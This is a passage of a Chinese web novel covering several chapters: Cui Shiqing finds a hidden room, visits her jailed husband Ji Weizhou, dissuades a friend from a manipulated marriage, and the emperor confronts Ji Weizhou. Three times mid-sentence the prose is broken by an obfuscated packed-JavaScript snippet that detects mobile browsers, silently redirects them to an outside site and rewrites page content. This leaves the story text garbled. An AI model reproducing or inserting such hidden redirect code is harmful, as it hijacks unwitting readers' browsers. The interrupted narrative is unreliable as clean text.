衣袂拂动,烛灯摇曳。 崔时清看清了一丈之内的景象。 高脚几、博古架,临窗摆放的美人榻。 惊愕与迷茫浮上眼底,她不免恍惚地盯着暗门之后,与外间一模一样的格局陈设。 她强装镇定,攥紧掌中的铜烛灯,向前走了两步,同样熟悉的摆件,分毫不差出现在眼前。 在震惊之余,崔时清想起婚前,她的摇摆不定,和纪危舟一再提及来新宅的提议。 调情时说过的戏语,此刻在耳边重新响起。 “这狗东西,真是想把我藏起来?!” 盯着如潮水般令人不得喘息的暗室,一股凉意从崔时清的尾椎升起,直窜天灵盖,冷得她浑身一哆嗦。 慌乱后退之际,高脚几上的烛灯被勾带拂落。 她下意识弯腰拾捡,余光扫了眼博古架,指尖堪堪够到灯盏时,眸子遽然瞪圆。 ……这是? 崔时清僵硬地偏眸望去,再次看到了博古架底层的红玛瑙宝盒,顿时膝盖一软,跪坐在地。 红玛瑙宝盒。 在那个梦境中,在大帝身边,不曾离过左右的物件。 崔时清胸脯起伏,呼吸不畅地扫过昏沉的暗室,又看着近在眼前的宝盒。 这不是他迎娶的皇后之物吗?为什么会在这里? 里面—— 崔时清的手落在了梦中无法触及的宝盒上,掌下冰凉的红玛瑙勾起了那丝说不清道不明的惧意。 她不知道里面装了什么。 在梦里,她试图探究过。 但是每每靠近时,一丝阴寒的冷意便会直钻心底,让她既好奇,又惧怕。 大口喘着气,崔时清目光散乱地推动盒子上的玉扣,打开一条缝隙,硬着头皮迅速瞥了一眼。 “嗯?” 咽了下口水,她再次壮起胆子,猛地掀开了盒盖。 "……"瞅着空荡荡的盒子,崔时清沉默了。 空盒子? 为什么会是空盒子? 难不成,这原本就是纪危舟的私物? 崔时清思忖着,眉心微蹙。 崔时清记起,当时谈及梦境时,纪危舟似乎有些异样,还刻意追问了几句。 他…… 腕上的梅花镯子刮过镶嵌的红玛瑙上,泠泠清脆的声音,令她倏然回神,几乎是本能般,慌乱地锁上盒子。 崔时清也不知道自己在怕什么。 梦境中,对于这个盒子的惧意一再涌上心头,反复在告诉她。 ——这东西很危险! 冥冥之中仿佛有什么禁忌在阻止她靠近的念头,也压住了为那名不知身份的大帝之妻而发酸的冲动。 崔时清怀揣着复杂的心情,把暗室的器物重新归置妥当,如来时那样,轻手轻脚地离开。 直待再次按下机关,她后退了几步,看着暗门徐徐关上,松了一口气。 “主子?”云霞平缓没有起伏的声音在门帘外响起。 崔时清的心又猛地揪紧了一下,眼睛眨巴着,意识到什么以后,才神色怏怏地撇了撇嘴,把灯盏放回博古架旁。 “进来。” 云霞闻言,踏着无声的脚步,死气沉沉地走了进来。直到嗅到了一丝血气,垂眸看见了地上的碎玉和两滴血迹,面色才有了些许变化。 “主子受伤了?” 崔时清举起被玉如意划破的手背,扫了一眼,浑不在意道:“何事?” “江南已安排好车驾,在门外候着了。”云霞低头应道。 半举的手顿了顿,垂落在身侧,崔时清瞥向墙上的红梅图,神色晦暗不明。 那厮都在想什么? 不该歪成这样啊。 崔时清无法把纪危舟这独特的癖好再归咎于自己身上。 她是在刻意捧杀娇惯天道之子,但也是让纪危舟溺于玩乐,可从没教过他暗戳戳使坏,弄出这么一间渗人的暗室来。 到底是哪里出了问题? 她想不明白。 掌下的触感让崔时清惊了一瞬,看向单膝跪在身侧的云霞,眉心微动,由着她为自己上药。 微凉的药膏覆在伤口上,让崔时清也冷静了不少。 拂开托着手掌的云霞,她道:“把这里收拾好,不必跟着。” 云霞垂首听令。 从若兮手中取过披麾,崔时清围裹着自己,径直朝外走。 刑部大牢阴沉潮湿。 纪危舟衣裳单薄,背门而坐,透过一扇窄窗,仰视着朦胧的月色。 崔时清登时气不打一处来,怒视着身边的随从。 江南耷拉着脑袋,不敢直视当家主母,只得偷偷摸摸给引路的狱卒一个眼神。后者已感受到那股比刑部监牢还阴寒的眼风,也不敢拿乔,忙不迭掏出钥匙开了门,与江南后退了两丈守着。 听到动静,纪危舟收回视线,转过身来。 沉郁的眸子在看清来人时,顿时阴霾尽散,眼眸亦亮了起来。 “软软?!”纪危舟又惊又喜,没料到崔时清会来牢中见他。 崔时清面色冷淡地瞥了他一眼,便兀自参观这方寸天地。单薄的衣袍,冷寒的薄衾,漏风破败的小牢房。 还真是在坐牢。 崔时清漫不经心地看着沦落至此的天道之子,轻笑了一声。 “你的心中有数、运筹帷幄,便是把自己处理进了牢子里?” “……”纪危舟苦笑着,无言以对。 “挺好,挺好的。”崔时清攥着披麾上的丝绦,若无其事地连声道。 纪危舟忐忑地走上前,轻轻勾住崔时清的指尖,“我知道自己做的不好,软软生气也是应该的。” “生气?我不生气。”崔时清歪唇笑了笑,眼中却闪过了厉色,“这些不都是你自己所求的吗?我可管不着。” 纪危舟躬下身子,才刚伸出手想要索抱,便被崔时清无情地推开。 “又脏又臭的,不许碰我。” 纪危舟顺势装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515896|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起虚弱,踉跄着跌坐在地,睁着黑白分明的眸子,瞅着面如寒霜的女娘。 “……无赖。”没有用全力的崔时清沉默了片刻,扯着唇角骂道。 “我想你了。”纪危舟委屈道。 “想我?想我想到,必须来牢子里,对月伤情吗?”崔时清怒火中烧。 她想不明白,和孟云希斗法,有必要用自己作为筹码来赌吗?先是任由皇太孙的传闻满天飞,现在又束手就缚,来到别人的地盘当阶下囚。 是觉得自己命太硬,还是活得不耐烦了?! 崔时清不信,除了这样的损招,就没有别的法子了! 纪危舟看懂崔时清眼中的情绪,盘腿坐在地上,看着她的眸子,轻声道:“这是最快的办法。”可以让他们彻底摆脱孟云希的办法。 最快?好个最快! 看着向来成竹在胸的纪危舟,心中积攒的那股情绪顿然泄了气,崔时清感到一丝厌倦。 她沉默了须臾,攒眉道:“国公府外有禁军把守。” 在崔时清过分沉寂的状态下,纪危舟不安地扣紧了掌心,柔声说:“不出三日,他们便会撤走。” “既然你这么有把握,我也不必操心了。”崔时清点了点头,冷淡地看着他,“你还有什么想说的吗?” 纪危舟很想上前,抱住崔时清,一遍又一遍地哄着她,与她解释、和她认错,直到融化女娘眼中的冷意。 他克制自己,由着崔时清误解他刚愎自用、独断专行。 他想,以后他们还有很多的时间,可以用以弥补。 眼下,便…… 但在崔时清愈发冷淡的注视下,纪危舟没由来一阵心慌,他再顾不上其他,忙声说:“江南那里有些东西,在最后关头可以扭转败局。” 崔时清微怔了须臾,狐疑道:“你不是不愿意我掺和此事?” 在她心中,不愿意便是不相信。 哪怕纪危舟说了再多甜言蜜语,她看到的都是不信任的作为。 这也是她在那一瞬,心突然冷下来的原因。 她本不该把此人装进心里,情之所起却不得控制。但她也有骄傲,她无法容忍自己的一厢情愿。 若是得不到全部,她便放下,一丝一点都不要了。 纪危舟知道自己没有错上加错,眉眼专注地仰视着他心中的明月。 “我心悦软软,愿把自己的性命托付于你手中。” 崔时清五味杂陈地看着席地而坐的郎君,说不出是该欢喜、还是忐忑。 但她知道,她是不舍的,不舍轻易抛下这个人。 注视着纪危舟,久远的记忆在眼前一闪而过,指尖微敛,崔时清摘下腕上的梅花镯子,丢在他的面前。 看着茫然的眸子,崔时清淡声道:“要是想出来,便用此物来求我。” 纪危舟垂下眸子,直勾勾地盯着面前的赤金掐丝嵌红宝石梅花镯,身体不受控制地轻颤着,握住了还带着女娘温软气息的镯子。 他没有抬头,嗓音暗哑道:“我等着软软,接我归家。” 崔时清看不到纪危舟眼中的情绪,但感受到了他语气中的眷恋,凝神注视了他一眼,抿唇转身离去,只留下一声很轻又极具分量的低语。 “好,我会来接你。” 92. 诓骗 寿安长公主在回京前一夜,于行宫中自缢身亡。 贤文帝震怒之下,明令幽禁皇长子赵洛行,无诏不得离开居所半步。 京都皇城风雨飘摇,贵妃母族蔡氏更如惊弓之鸟方寸大乱,居然准备在仓促中定下嫡女蔡梦期的婚事。 崔时清在家中收到李昶的消息,立即赶往拂仙楼中,相劝友人。 “我不同意。”面对垂首沉默的蔡梦期,崔时清强硬地说道。 李昶唤来了帮手,也强势了起来,和崔时清站在同一战线,双手叉腰粗声道:“赵晨光是个什么玩意儿,京都城里谁人还不知了?绝不可嫁!你要嫁他,还不如嫁、嫁——” 蔡梦期抬起头,看向了李昶。 在这个辨别不明情绪地注视下,李昶咽了咽口水,眼神闪躲着,低声道:“还不如嫁与姑奶奶的兄长,反正你也喜欢。” “嫁不嫁都是我的事情,与你无关。”蔡梦期面无表情地瞪了李昶一眼。 “……怎么无关了,我们是一起长大的朋友。”李昶语气弱弱地撇嘴道。 崔时清看了一眼他们二人,暴躁地歪坐在暖榻上,灌了几口茶水。 江相明已死,怎么又跑出个赵晨光了? 赵晨光是个闲散宗室子弟,和赵氏嫡系的血亲已出五服,但其父善于钻营,在宗室中算是能说得上几句话的人。 可惜赵晨光不争气,长得寒碜不说,品性亦是难评,是京都城中数得出来的纨绔。 若是脾性相对,倒是可以处来玩耍,但此人却是个连他们都嫌恶的狗辈,曾与江相明来往密切,常年流连花街柳巷。 不是一个值得相嫁的对象。 “为何要嫁?”崔时清盯着挚友的眼睛,问出了两世以来,心中的困惑。 上一世的江相明,这一世的赵晨光。 为何要嫁与他们? 即便蔡氏式微,祖父蔡尚书被勒令停职,难保尚书之位。 但以她对蔡家的了解,他们并不是卖女求荣的人家。 难道是有人逼迫? 李昶也瞪着眼睛,等她解释。 蔡梦期是调整好情绪,才来赴约的。但是面对这个简单的问题,面对朋友们关切的目光,她突然抑制不住鼻尖的酸涩,眼眶泛起了雾气。 “我、以蔡家的处境,赵晨光已是最好的夫婿人选了。”蔡梦期攥紧了掌心,强忍着心中的软弱,低着头说道,“我贪慕富贵,过不得贫苦的日子。” “狗屁不通!”崔时清冷嗤道。 “……”蔡梦期默不作声。 李昶搓着双手,急得不行,又不敢随意接这话,只能眼巴巴地瞅着崔时清,希望她可以骂醒这软硬不吃的女娘子。 崔时清深吸了一口气,转而问道:“你家中长辈可同意?” 蔡梦期硬着头皮说道:“谁也不能阻拦我的富贵路。” “所以,蔡家长辈是不同意的。”崔时清自顾自地点了点头,又道,“那是何人?绕过长辈们,与你提这门亲事的?” 这下,蔡梦期连眼睛都闭了起来,一言不发地装死应对。 崔时清不紧不慢地轻敲着膝盖,思索着江相明和赵晨光的联系,面前闪过了一双慈悲的眸子,眼神徒然发冷,拂落矮几上的茶盏。 在这突兀的动静下,蔡梦期惊得瞪圆了眼睛,和李昶一模一样,惊愕又忐忑地双双瞅着突然发威的女娘。 “这种时候跑来假惺惺地哄你嫁给赵晨光,能是什么好人家?!别人说什么就信什么!你没有长脑子吗?”崔时清毫不客气地指着蔡梦期的鼻子骂。 “……”蔡梦期眨了眨眼睛,下一瞬泪珠子便滚落了下来,瘪着嘴默默垂泪。没了以往的气性,随着友人责骂。 李昶本来还觉得他的姑奶奶骂得好,可看到向来天不怕地不怕的小霸王委屈成这样,也不撩爪子顶嘴反击,心里像是被针尖扎过一样的难受。 他有些别扭地嘀咕道:“姑奶奶,我们是来劝她的,您悠着点骂呀……” 崔时清给了李昶一个眼刀,抬起哭唧唧的小脸蛋,也不安慰,只掐着她的下巴,冷言冷语道:“来诓骗你的人是如何说的?难不成还能说出赵晨光阿爹可以帮蔡家、帮贵妃的鬼话吧?” “……你、怎么知道?”蔡梦期顿时忘了掉眼泪,眨巴着红通通的眸子,诧异地瞅着崔时清。 “蠢货啊!”这下,连李昶都忍不住叫骂道。 崔时清心里有了数,也不再着急。 把蔡梦期手中被揪得皱巴巴的帕子解救出来,弯腰为她擦去腮边的泪痕。末了,怜爱地揉了揉手帕交的脑袋,语气放软了下来。 “找你的是何人?”崔时清问。 蔡梦期瓮声瓮气地说道:“是赵晨光的母亲。” “哦,她怎么说的?”崔时清随意扯过一只绣墩,坐在友人身边。 事已至此,蔡梦期也只得托盘而出,“她说姑母是陛下的嫡妻,宗室里都是认可的。只要我嫁入他们家中,便会联合宗亲叔伯为姑母求情的。” 上一世也是如此吧。 看着友人被泪水打湿过的眸子,崔时清心底很不是滋味。 牵过蔡梦期的手,她柔声问:“你可有想过,蔡家眼下这般情形,他们为何会愿意迎你入门?” “……”蔡梦期蹙眉想了想,老实巴交地瞅着好友,说道,“定是看上我的美貌了吧。” 李昶正听得认真,猛地听到这句话,被呛得直咳嗽。 崔时清还算稳住了自己,暗暗扯了扯唇角,缓了口气,才道:“那从前怎么不来求娶?” “从前他们家哪里配得上我了?!”蔡梦期理直气壮地挺起胸脯,眼睛瞥向怪模怪样的李昶,烦闷地斜乜了他一眼,又补充道,“现在也不配!但,他们提的条件我拒绝不了。” 崔时清明白,她们姑侄俩人的情分。 同样的,宫里那位也是清楚知道这一点的。 李昶也觉得赵晨光不配小霸王,便忍不住开口道:“闲散宗室而已,在这桩事上,他能说上什么话?” 蔡梦期纠结了片刻,又道:“我在赵晨光母亲的身上,看到了一枚皇后赐予的,可以自由出入宫门的令牌。” 果然是她啊。 崔时清垂眸端起冷茶,抿了一口,叹声道:“那你也该知道,贵妃沦落至此,与她脱不了干系。” “我知道。”蔡梦期面色涨红,呼吸都急促了起来,“但是,可以杀人的刀子,也有护人的能力。只要、只要我乖乖听话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529132|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她或许可以留姑母一命的!” 李昶没想过,这也是皇后的手笔。心里气得不行,却又知道自己是无力对抗的。 偷偷看了一眼崔时清,见她面色平静,看似没有受到纪家三郎入狱的影响。但是,新婚夫君遭此大劫,又怎会无动于衷呢? 李昶颓丧地低着头,痛恨自己的无能。 “既然你知道,这桩婚事与皇后有关,那你可想过,她能从中得到什么?”崔时清轻声问道。 蔡梦期抿唇不语。 崔时清又问:“贵妃或许还未认输,但如果她听闻亲侄女为了与死敌示好,把自己的婚姻之事用来交易,贵妃又会如何?” “……我、我。”蔡梦期心头一跳,不敢细想。 崔时清直视她的眼睛,一字一顿道:“你自以为是做的牺牲只会夺了贵妃的心气,让她痛不欲生。” “不——”蔡梦期木讷地摇了摇头。 “杀人诛心!你想要贵妃活下去,可他们想要的却是一把可以刺穿贵妃命门的利器。而你,就是最好的选择。”崔时清没有给她逃避的机会,明明白白把困住蔡梦期的迷雾拨开,让她直面残忍的真相。 “够了,不要说了。”蔡梦期几近崩溃地泣声道。 崔时清看着挚友无助地蜷缩着身子,面上是从未有过的痛苦。 她心疼,却不容许自己纵容。 “你好好想想,贵妃真正想要的是什么。她是希望用你来换取所谓的自由,还是哪怕身死,也要保住母族一家的平安?” “……姑奶奶。”李昶扶着哭成一团的小霸王,带着恳求的目光,望着崔时清。 “我累了,你自己想个明白。若还是要犯糊涂,以后便不要来见我了。”崔时清面色冷沉地站起身来,看着伏在李昶怀里痛哭的挚友,狠心地转身离开。 “时娘——”蔡梦期泪眼朦胧地张口,却没有得到好友的半分余光,眼瞅着崔时清的背影,再看着身边的李昶,她哽咽道:“你也对我、很、很失望吧?” 李昶闷不吭声,用衣袖擦了擦女娘的面颊。 “嘶!轻点!”面上火辣辣的疼,让蔡梦期无暇伤神掉泪,龇牙咧嘴地拂过李昶没个轻重的手。 看着白皙的皮肤上一片明显的红痕,李昶猛然想起新制的这件冬衣袖子上是用金线绣的鹌鹑飞盗,金光闪闪、羽翼坚硬,很是威风! 他连忙心虚地背手藏好,干笑了几声。 “不哭了吧?你敷的粉都花了。” “……滚!”蔡梦期忍无可忍,一掌拍在李昶背上,把他生生推出一丈之外。 李昶在地上打了个滚,逗她道:“你是吃了什么巨力丹?这么大的手劲!比相扑手还惊人!” “找死是不是?!”蔡梦期凶神恶煞地挽起袖子,恨不得把贱嘴的李昶大卸八块。 “嘿嘿。”李昶还没意识到什么,兀自乐呵着。 直到被前一刻还哭成小女娘模样的蔡梦期扼住了命脉,才幡然醒悟,惊声逃窜。 “你忘恩负义!白搭我对你好!” “再叫唤一声?” “不敢了,女侠饶命!哎哟!” …… 靠在门扉上,崔时清眼眶微湿,浅笑着大步离开。 93. 清流 拂仙楼斜对面是昌隆兴的米铺。 崔时清随意瞥了一眼铺子,看到了一个熟悉的身影。 陈柔欢正提着裙摆走到一架朴素的青布马车前,掀起锥帽下的绢布,仰头浅笑着,与车内的郎君说了几句话,便身姿轻快地转身,和米铺掌柜定下需要的米粮。 难得见到陈柔欢娇俏灵动的一面,崔时清驻足在原地,心中生出了几分兴味。 青布马车的帘子已落下,她觉得那名男子有些眼熟,一时之间却怎么也想不起此人的身份。 但崔时清也不欲探究京都才女的私交往来,放下心中的疑惑,准备上车回府,米铺门前等着伙计搬运粮食的陈柔欢也注意到了不远处的人。 “时娘。” 陈柔欢快步走了过来。 崔时清瞅着笑容满面的女子,莫名想起之前的一万两银子,时至今日依旧有些肉疼。 “真是巧呀,居然能在此处遇上你。”陈柔欢仿佛没有注意到崔时清复杂的表情,欢喜地笑道。 无事献殷勤,还笑得这么谄媚,定然没有安好心。 崔时清思忖着,不咸不淡地开口道:“你不是正忙着吗?” 陈柔欢笑盈盈道:“我买的米粮多,装货慢得很,不着急的。” “我……” 崔时清抿了下唇,正要借故脱身,陈柔欢紧接着,语气欢快地打断了她。 “你看到他了?” 崔时清没好气地说:“没看清。” 陈柔欢狡黠地眨了下眼睛,弯唇笑问:“你不好奇他是何人吗?” “想说便说,不说拉倒。”陈柔欢的笑容扎眼得很,崔时清有些嫌弃地翻了个白眼。 陈柔欢垂眸羞涩道:“是、四殿下。” “嗯?”崔时清的表情空了一瞬,以为是自己听错了。 四皇子赵萧琛? 那个脾气沉闷,平庸无趣的淑妃之子? 不可能吧! “是,是他。时娘没有听错。”陈柔欢扬起白净的面容,眸子清亮地笑道。 “……”崔时清艰难消化着这个消息。 京都才女被默默无名的四皇子勾走了? 她端详着神采奕奕的女娘,沉默了须臾。 明白了方才看到马车里的人时,那种熟悉又模糊的感觉。毕竟她见过赵萧琛许多次,却一次也没有真正看清这位四皇子的面孔。 可不得是模糊又熟悉吗?! 崔时清与陈柔欢虽然自小相识,但脾性不相投,甚至还暗中斗过,说是冤家也不过。 猛然听到这冤家对头的私密,崔时清惊愕之余,也实在不晓得要说些什么,便干巴巴地扯唇敷衍了一声。 “挺好。” 陈柔欢难为情地笑了下,又道:“时娘不想问我大殿下之事吗?” “你实在要说,我也可以听一耳朵的。”特意过来,一茬接一茬的聒噪,她还能堵着人的嘴,不许说吗? 听听便听听吧。 崔时清故作冷淡地竖起了耳朵。 陈柔欢:“我已与大殿下说清楚了。” 崔时清倾身问道:“他有没有哭?” 她无法想象,赵洛行知道心心念念的女娘看不上他,反而瞧上了被他护在羽翼下的四弟,会是什么反应。 抽谁估计都不舍得,也只能给自己来几个耳刮子,解解气了。 “……这、我也不知。”陈柔欢尴尬地看着她。 “哦!哭得很惨!”崔时清一手托着下颌,自顾自地得出了结论。 陈柔欢眼波微转,歪着脑袋望着崔时清,“时娘不认为我很无情吗?” “什么?”崔时清不在状况地蹙着眉头。 “大殿下这般情形,我却弃他而去,没有与他共进退。” 陈柔欢语气淡淡,像说的不是自己,表情没有什么变化,崔时清却从中看出了几分腻烦的情绪。 “你和他互诉过衷肠吗?”崔时清问。 “并未。”陈柔欢摇了摇头,“我尝试过与大殿下来往,但他实非我心仪之人。” 崔时清早就看出陈柔欢对赵洛行没有男女之情。 若是贤文帝下了赐婚的圣旨,陈家也许不会抗旨,但在此之前,陈柔欢自寻郎婿也是情理之中。 而眼下贵妃母子身陷囹圄,逼着因赵洛行一厢情愿而往来过的女娘守节共生死,才是真的可笑。 “既然你对他从未生过情爱,旁人说你无情也无错,由着她们说去,你又没有必要为了争口气,非得和不喜欢的人共进退。”崔时清唇角凝霜,神色极为淡漠。 世道艰难,不说不爱,哪怕情深似海,在生死荣辱面前,有多少人可以义无反顾,追随他人慷慨赴死? 哪怕是孟云希。 她厌恶的也不是孟云希抛夫弃子,独自求生。 想要活着、活得更好,从没有错。 孟云希让人生厌的是伪善,是又当又立,是把世人都视作傀儡棋子随意操控戏耍的自得。 还是、她作为纪危舟的妻子,理应厌恨的那份狠绝。 至于面前这冤家。 崔时清依旧不喜,但这不意味着她会认为,陈柔欢应该为了那些荒谬的指摘而舍弃自己。 陈柔欢微怔了片刻,心底的沉郁尽散,眉眼弯弯地笑道:“时娘才是这世道中真正知情达理之人。” “好了,你真的不忙吗?”崔时清瞥了一眼对街投来的目光。 陈柔欢侧身对着青布马车上的人,浅笑了一下,又回头睁着微亮的眸子说道:“是,这几日是挺忙的。” “忙什么?”崔时清顺口应道。 陈柔欢温声道:“城郊的流民越发多了,我与四殿下筹措了银子在城外施粥。” “你们还真是心善。”崔时清兴致缺缺地颔首。 “是四殿下,他生性善良,带我看到了许多。” 陈柔欢语气温温软软,却让崔时清没由来皱紧了眉心。 一人带她出城跑马打猎,一人领她出城赈济流民。 相比于他们习以为常的消遣,四皇子便像是皇城中的一股清流,以清丽脱俗又特别的做派吸引了这位京都才女? “人不可貌相,我竟没想过四皇子是这样的人物。”崔时清意味不明地淡声道。 陈柔欢听出她的阴阳怪气,连忙解释道:“四殿下并非沽名钓誉之人,他布衣青衫出行,不曾透露过自己的身份。” 崔时清瞥了一眼陈柔欢,只道:“他这般亲力亲为,倒是可贵。” “是,殿下与其他人都不同。”陈柔欢温温软软地笑道。 “……”果然是看上‘清流’了!崔时清无言以对。 “时娘可否施以援手?”陈柔欢眼巴巴地瞅着,说出了来意。 崔时清咬牙问:“一万两还不够?” 陈柔欢轻叹道:“京都斗米千钱,唯有昌隆兴的米价还算良心。但城外饿殍遍野、流民万千,万两银子也堪堪只够五日的粥食而已。” “哪怕再与你万两银子,那之后呢?”崔时清面无表情。 周边的流民听闻此处放粮,人只会越来越多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14550265|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这世道如此,她便是再有钱有粮,也养不起天下的万万千饥民。 “我与四殿下的能力有限,想不着明日之后的事情,唯有专注于眼下,只要今日、可以让更多饥民填饱肚子活下来,便可心安。” 陈柔欢明白崔时清的意思,但只要想到那些瘦骨嶙峋的流民,她便夜不能寐,唯有尽力而为。 崔时清扯了扯唇角,兀自走上马车前的踏凳上,背对着陈柔欢,语气有些冷淡。 “与其把所有筹措的银子都用来施粥,还不如买些粮种,分出些荒地与他们自力更生,才能一劳永逸。” 陈柔欢上前两步,忙声道:“京都周遭皆为皇土,怎可擅动?” “四皇子既有爱民之心,如何动不得了?”崔时清勾了下唇角,但却笑不出来,便垂着眸子提醒道,“户部侍郎是个爱民的好官,应会对开垦荒地有兴趣的。” “但是——” “如果你们能说动他来操办此事,我可以提供部分粮种,来换取来年、一成收成。”崔时清说完,便摆了摆手,兀自上了马车。 米铺的粮食可以少挣钱,但不能不挣。她的昌隆兴,可不是为了行善而开的。 崔时清倚靠在软枕上,听着车厢外陈柔欢轻盈离去的脚步声,觑着门帘缝隙,一闪而过的青布马车。 这赵萧琛挺有意思的。 表面木讷平庸,却知道在这个动荡的形势下,收买人心。 流民万万千,若能做成此事,这万万千的拥趸便是他立足的根本。 * 江南奉着两封书信,快步走了进来。 崔时清看过以后,明白纪危舟所说的时机已到。 一封是寿安长公主提前写下的手书。 信中言辞恳切,要是不幸亡故,便是遭人暗害。更是直指贵妃母子与军屯贪污案无关,一切皆是中宫所为。 另一封是离虚道长的认罪书。 不但直言已为皇后所用,更是把六皇子赵晟真服用秘药来掩饰手伤之事也一并道出。 “还有其他证据吗?”崔时清看向他。 江南垂眸应声,“离虚已在我们控制之中。” 崔时清攒眉道:“没有证明传闻作伪的东西吗?” 纪危舟被抓,与金临台下的天石有关。 面前的证据和勉州账册,只能说明贵妃和赵洛行无罪,却不能确保他平安归来。 “传闻、是真的……”江南臊眉耷眼地说。 崔时清怒其不争地拍案而起,“真的假的又如何,就这些东西,陛下如何会轻易放过你家主子?!” “主子许是另有安排?”江南苦笑了一声。 崔时清深吸了几口气,把书案上的账册也拿了出来,用力戳了戳这些证据,冷声道:“把这些东西都送到御史府中。” “那、那离虚呢?”江南吞吞吐吐问。 崔时清暗忖着,说道:“把认罪书揣在他怀里,扔在大理寺外面的巷子里,引官差过去抓捕。” “是。” “下去。”崔时清烦得不行,冷言斥退他。 江南如蒙大赦,抱着证据退下以后,崔时清疲倦地跌坐回圈椅上。 夜风穿堂,昏黄的铜烛灯摇摆不定,攀附在梅枝上的藤蔓时隐时现,仿佛在暗处不断绞缠着,一点点覆盖住红梅的妖娆。 崔时清目光空洞地注视着,呼吸有些滞涩不畅。 许久之后,她仰头倾靠在椅背上,臂弯掩住那刺目的烛光,轻轻喟叹了一声。 “会赢的。” 94. 蠢汉 卯时朝会上,礼部尚书王客林斥责皇长子目无君父、枉为人子。跟随左右,教唆拥护皇长子的逆臣贼子皆应予以严惩。 御史中丞当即出列,弹劾刑部尚书吴成辉尸位素餐,同时呈上长公主的手书,为贵妃母子喊冤。 贤文帝认出嫡亲姊妹的笔迹,自白书上字字恳切与惶恐,让其眼眶湿红。 大理寺卿同时献上离虚道长的供词,一时之间朝堂震荡。 但哪怕所有证据都直指皇后孟云希,但细究之下,众人却发现孟云希从未与长公主和离虚道长有过直接往来。作为活着的证人,离虚道长更是从未在皇后口中听到过任何明令。 由此,他们所说的指使也可称作一面之言,攀诬陷害! 敬仰降雨祈福的天女之人,不在少数,纷纷为孟云希申辩。 有人陷害贵妃母子,亦有可能诬告造福苍生的天命之后! 帝后的贤文与慈德不容置疑。 这句话浇灭了贤文帝的怒火,他沉默了许久,最终只下令解除贵妃母子的禁令。 但所有人也都知道,六皇子赵晟真双手废了,已与皇位无缘,他们需要把目光投向其他三位成年皇子身上了。 及至散朝,贤文帝都没有再提过离虚、或纪家三郎一句,仿佛忘记了这二人。 …… 崔时清关注着朝堂上的消息,也第一时间知道贤文帝命人把纪危舟押送到了宫中。 她身着金丝如意纹双鱼小夹袄、梅染曳地长裙,披着白狐羽缎披氅,来到了宫门之外。 目视着这座威严森冷的宫城,等着迎回她家作死的蠢汉。 * 极宸殿。 贤文帝望着阶下伫立的儿郎,不再明亮的眸子一点点扫过纪危舟的面庞,目光梭巡了许久,眼底闪过一丝怀念,轻叹道。 “这么看来,你的眉眼与他倒是一般无二。” “难为陛下还记得旧人容姿。”纪危舟无动于衷地淡声道。 “三郎不知,我与你阿爹曾是这世间最好的兄弟。”贤文帝耷拉着唇角,神色落寞。 “往事已矣,何必再贪恋曾经?”纪危舟觑着孤坐高位,那双痛苦的眼睛,他生不出半分怜悯。 生前猜忌怀疑,死后才来追忆,自欺欺人又可笑。 贤文帝的表情扭曲了一瞬,克制着,以尽可能温和的声音,说道:“三郎是我赵氏的血脉,不该继续流落在外。” 纪危舟轻笑道:“陛下是不愿放我离去了。” 贤文帝不在乎他眼中的讥嘲,自顾自地安排道:“韶武殿是我与你阿爹少时的居所,朕已命人收拾妥当,三郎便居于此处。” “陛下为何不杀了我,以绝后患?”纪危舟眉眼冷淡地睨着一厢情愿、想要弥补少时遗憾的孤家寡人。 “我怎会要你的命?!从未!从未!”贤文帝似是被刺激到了,从龙椅上站起身来,喋喋不休地自语着。 贤文帝和先太子虽非同胞兄弟,但幼时便同吃同住,并无嫡庶之别。 直到先皇武帝选择了嫡子赵虚淮成为皇太子。 他们之间的关系便有了不同。 兄弟情谊再深也难敌周围的无数声音,一再提醒着他们,君臣之道、尊卑有别。 他赵裕翔虽为兄长,但只是婢女所生的庶子,他为卑贱。 他是认了命的。 但父皇病重,堂堂一国太子却疲弱无力,连朝中臣子都镇不住。 他明明更好啊! 父皇却要他一再退让,甚至下诏想要他远离京都。 他犹豫过后,同意了。 但一柄毒箭却把他唤醒了过来。 贤文帝面露阴狠地盯着纪危舟,“真正狠心的是你阿爹,是他不顾兄弟之情,想要铲除我!是他想要绝了我这个后患!” “何时何地?”纪危舟只问。 贤文帝皱眉道:“你不信?” “我只信证据。”在贤文帝戒备的视线下,纪危舟扯开衣袂,从夹缝中取出一条宫造的锦帛,交与身边侍立的内监手中。 “这是何物?”贤文帝的手悬在半空中,迟疑着,不敢伸手。 纪危舟恭敬答道:“让位书。陛下识得长公主的字迹,不知可否还记得故人的。” 贤文帝颤手打开帛书,熟悉的字迹映入眼前。 平庸无能,不堪储位。 